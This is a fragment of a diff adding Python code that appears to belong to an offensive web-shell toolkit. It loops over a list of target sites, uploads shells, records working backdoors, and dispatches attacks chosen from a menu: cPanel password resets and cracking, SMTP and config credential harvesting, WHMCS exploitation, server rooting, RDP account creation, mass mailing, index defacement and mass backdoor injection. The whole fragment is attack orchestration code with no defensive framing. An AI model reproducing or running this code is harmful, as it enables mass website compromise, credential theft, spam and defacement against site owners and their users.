24): sevedin(ps[w][0], ps[w][1], ps[w][2]) + return + if(w == 29): Option29(yList, srcShell, tyShell, q); return + if(w == 30): Option30(yList, srcShell, tyShell, q); return + for site in yList: + try: + url = shell_Form(site).strip() + print(' --| {}{}'.format(fc, url)) + shell_path = file_UPloader_ALL(url) + if (shell_path is False): + print(' {}[-] Shell not Working OR Upload failed.\n'.format(fr)) + open('Results/Failed.txt', 'a').write('{}\n'.format(url)) + continue + shell_path = check(shell_path) + if (shell_path is False): + print(' {}[-] Shell not Working OR Upload failed.\n'.format(fr)) + open('Results/Failed.txt', 'a').write('{}\n'.format(url)) + continue + print(' {}[+] Shell is Working.'.format(fg)) + open('Results/F-backdoors.txt', 'a').write('{}?action={}\n'.format(shell_path, backdoor2)) + if (w == 1): + if (tyRest == 1): resetPwdA_Fox(shell_path, url) + elif (tyRest == 2): resetPwdS_Fox(shell_path, url, email) + elif (w == 2): SMTPs(shell_path) + elif (w == 3): info(shell_path, url) + elif (w == 4): accesshash_mycnf(shell_path, url) + elif (w == 5): configs(shell_path, url) + elif (w == 6): + config = configs(shell_path, url) + if (config is False): print(''); continue + else: + cPanels_Cracker(shell_path) + whmcs_ex(shell_path, url) + elif (w == 7): + config = configs(shell_path, url) + if (config is False): print(''); continue + else: + logins = panels(shell_path, config[0], config[1], typeAc) + if (logins is False): print(''); continue + else: + shells = UPer_SH_by_Panels(logins[0], logins[1], logins[2], logins[3], 0, srcShell, tyShell) + if (q.lower() == 'y' or q.lower() == 'yes'): + if (shells is False): print(''); continue + else: + for shell in shells: + try: + print(' --| {}{}'.format(fc, URL_FOX(shell))) + newShell = check(shell) + resetPwdA_Fox(newShell,'{}?action={}\n'.format(newShell, backdoor2)) + SMTPs(newShell) + except: + print(' {}[-] Failed.'.format(fr)) + print('') + else: return + elif (w == 8): rooter(shell_path, url) + elif (w == 9): RDP_creator(shell_path, url) + elif (w == 10): domains(shell_path) + elif (w == 11): mail_single(shell_path) + elif (w == 12): + config = configs(shell_path, url) + if (config is False): print(''); continue + else: mail_mass(shell_path, config[0]) + elif (w == 13): mailer_UPloader(shell_path, srcMailer) + elif (w == 14): + if (tyUP == 1): file_UPloader(shell_path, srcShell, tyShell + 3, q) + elif (tyUP == 2): file_Main_UPloader(shell_path, srcShell, tyShell + 3, q) + elif (w == 15): + if (tyUP == 1): index_UPloader_1(shell_path, nameF, q, nameA) + elif (tyUP == 2): index_UPloader_2(shell_path, nameF, q, nameA) + elif (w == 16): UNZIP(shell_path, filezip) + elif (w == 17): + if (tyPbk == 1): backdoor_Injection(shell_path) + elif (tyPbk == 2): MASS_Backdoor(shell_path, nameF) + elif (w == 18): sending_Checker(shell_path, url) + elif (w == 19): + if (tyReport == 1): solving_SH_Reports_A(shell_path, url, testSend) + elif (tyReport == 2): solving_SH_Reports_S(shell_path, url, email, testSend) + elif (w == 21): + resetPwdA_Fox(shell_path, url) + SMTPs(shell_path) + elif (w == 22): + resetPwdA_Fox(shell_path, url) + SMTPs(shell_path) + accesshash_mycnf(shell_path, url) + rooter(shell_path, url) + config = configs(shell_path, url) + if (config is False): print(''); continue + else: + cPanels_Cracker(shell_path) + whmcs_ex(shell_path, url) + print('') + except : + print(' {}[-] Shell not Working OR Upload failed.\n'.format(fr)) + open('Results/Failed.txt', 'a').write('{}\n'.format(url.strip())) + sevedin(ps[w][0], ps[w][1], ps[w][2]) + except : + pass + +def main(): + try: + F() + input_Fox(' {}[{}!{}] {}Press Enter to exit '.format(fw, fr, fw, fc)) + except: + pass +main() \ No newline at end of file